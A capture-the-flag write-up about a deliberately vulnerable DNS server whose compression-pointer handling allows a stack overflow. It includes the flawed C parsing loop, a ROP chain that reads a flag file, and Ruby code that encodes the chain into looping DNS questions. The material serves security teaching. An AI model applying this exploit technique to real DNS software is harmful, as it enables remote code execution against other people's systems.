This is a challenge I’ve been considering making forever. It’s possible I’ve already made it, even, it’s one of those things that appeals to my brain!
As always, you can find copies of the binaries, containers, and full solution in our GitHub repo!
DNS Compression
The important thing to realize is that DNS has a weird feature called
“compression”. What that means is, a part of a DNS name in a DNS packet can
contain a reference to another name. So if you query example.org, you send
this request:
00000000 00 16 01 00 00 01 00 00 00 00 00 00 07 65 78 61 ........ .....exa
00000010 6d 70 6c 65 03 6f 72 67 00 00 01 00 01 mple.org .....
DNS requests are pretty straight forward:
0x0016- transaction id (random)0x0100- flags0x0001/0x0000/0x0000/0x0000- one question is coming, and no answers/other records\x07example\x03org\x00-example.org, encoded with one-byte length prefixes instead of periods0x0001/0x0001- A record / INternet (or the other way around, I always forget)
The response is pretty similar:
00000000 00 16 81 80 00 01 00 02 00 00 00 00 07 65 78 61 ........ .....exa
00000010 6d 70 6c 65 03 6f 72 67 00 00 01 00 01 c0 0c 00 mple.org ........
00000020 01 00 01 00 00 00 89 00 04 68 12 03 18 c0 0c 00 ........ .h......
00000030 01 00 01 00 00 00 89 00 04 68 12 02 18 ........ .h...
The transaction and flags are the same.
The numbers of records is different: 0x0001 / 0x0002 / 0x0000 / 0x0000
means there is one question and TWO answers now. The important takeaway is that
the response repeats the question back.
The question starts at 0x0c - \x07example\x03org\x00.
The first answer (after the 0x0001 / 0x0001) starts with 0xc00c. That’s
gonna be the key!
0xc... means “look elsewhere in the packet”, and 0x.00c means “look at
offset 0x0c” - ie, the previous time example.org was used.
Basically, DNS packets have a feature that lets you look elsewhere in the packet.
Instead of 0xc00c, you can do 0xc015 and it’ll reference .org.
NORMALLY, you don’t see this sorta compression in client-to-server messages, because they typically only carry a single question, but in MY server it’s allowed!
The vulnerability
The client reads up to 1024 bytes from the UDP socket:
ssize_t size = read(fileno(stdin), buffer->buffer, BUFFER_SIZE);
When names are read, they’re copied into a stack buffer:
buffer->stored_read_pointer = NULL;
for(label = *buffer->read_pointer++; label; label = *buffer->read_pointer++) {
// fprintf(stderr, "Label: 0x%02x (%d) @ %ld - %s\n", label, label, question_length, buffer->read_pointer - 1);
// Pointer label
if((label & 0xC0) == 0xC0) {
uint16_t ptr = 0x3FFF & ((label << 8) | *buffer->read_pointer++);
// fprintf(stderr, "Jumping to 0x%02x (%d)\n", ptr, ptr);
// If this is the first pointer, keep track of where we started
if(buffer->stored_read_pointer == NULL) {
buffer->stored_read_pointer = buffer->read_pointer;
}
buffer->read_pointer = buffer->buffer + ptr;
} else if(label > 0x7F) {
fprintf(stderr, "Illegal label: 0x%02x\n", label);
exit(1);
} else {
if((buffer->read_pointer + label) >= buffer->end) {
return 0;
}
memcpy(question.name + question_length, buffer->read_pointer, label);
buffer->read_pointer += label;
question_length += label;
// fprintf(stderr, "%p %ld\n", question.name, question_length);
question.name[question_length++] = '.';
question.name[question_length] = '\0';
}
}
The memcpy() is problematic, because it’s not checking bounds in a meaningful
way.
The trick is that the DNS question buffer is also 1024 bytes long:
typedef struct {
char name[BUFFER_SIZE];
uint16_t type;
uint16_t class;
} dns_question_t;
Which means you can’t really overflow the buffer……. or can you?
Obviously I wouldn’t have spent all that time talking about DNS compression earlier if it didn’t matter!
The trick is that compression can be used to kinda make a “spiral” of buffers to make a string that’s much, much longer than 1024 bytes!
The exploit
Because of how DNS names are encoded, I had to do a bit of a weird ROP chain
to actually exploit this; occasionally we just need to “consume” bytes to avoid
hitting the . part of the name:
data1 = [
# ---- sys_read (to get the filename)
POP_RDI_RET, 0, # fd = stdin
POP_RSI_RET, EMPTY_MEMORY, # buffer
POP_RDX_POP_RBX_RET, 64, 0x13371337, # count / unused (for rbx)
POP_RAX_RET, 0, # 0 = sys_read
SYSCALL_RET, # sys_read()
# ---- sys_open
POP_RDI_RET, EMPTY_MEMORY, # pathname
# ...this gets us to data2...
POP_POP_POP_RET, 0x3131313131313131,
]
data2 = [
POP_RSI_RET, 0, # 0 = flags (O_RDONLY)
POP_RAX_RET, 2, # 2 = sys_open
SYSCALL_RET, # sys_open()
# ---- sys_read
POP_RDI_RET, 6, # fd = 6 (what it happens to be)
POP_RSI_RET, EMPTY_MEMORY, # buffer = random memory
POP_RDX_POP_RBX_RET, 64, 0x13371337, # count / unused (for rbx)
# ...this gets us to data3...
POP_POP_POP_RET, 0x3232323232323232,
]
data3 = [
POP_RAX_RET, 0, # 0 - sys_read
SYSCALL_RET, # sys_read()
# ---- sys_write
POP_RDI_RET, 1, # fd = 1 = stdout
POP_RSI_RET, EMPTY_MEMORY, # rsi = buffer
POP_RDX_POP_RBX_RET, 64, 0x13371337, # count + unused (for rbx)
POP_RAX_RET, 1, # 1 = sys_write
SYSCALL_RET, # sys_write()
Then I encode those into questions (see the comment for more details):
# Encode the questions
#
# The \x78 is the real length of the question/segment - it correctly jumps to
# the \x00 at the end
#
# The \xc0\x0d is a "compression pointer" that pointers to the second byte of
# the first question (\x7D), which points to the same byte in the next question,
# and so on to the bottom
#
# The \x36AAAAAA... sequence is to slightly adjust the length to optimize how
# much ROP data we get
#
# The \xc0\x0e is another compression pointer; this one goes to the second \x7D
# in the first question, which jumps to the \x7d in the remaining questions
# until it hits the \x00 end ends. Starting around the end of the first question
# (on the third time through), it overflows the stack. The third time visiting
# the third question is where the return address lands (hence data1). From
# there, it's just some standard ROP code (except that we have to deal with
# limited lengths)
questions = [
encode_question("\x78\x7D\x7Dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxabcdefgh\x00"),
encode_question("\x78\x7D\x7D#{ data1.pack('Q*') }OOOOOO\x00"),
encode_question("\x78\x7D\x7Dab#{ data2.pack('Q*') }CCCC\x00"),
encode_question("\x78\x7D\x7Daaaa#{ data3.pack('Q*') }xxxxxxxxxx\x00"),
encode_question("\x78\x7D\x00EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\x00"),
encode_question("\x78\x7DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\x00"),
encode_question("\x78\x7EGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\x00"),
encode_question("\xc0\x0d\x36AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\x0e")
]
Then I make it into a query:
# Send a basic query
s.send([
0x1234,
0x0120,
questions.length,
0x0000,
0x0000,
0x0000,
].pack('nnnnnn') + questions.join, 0)
And that’s that!
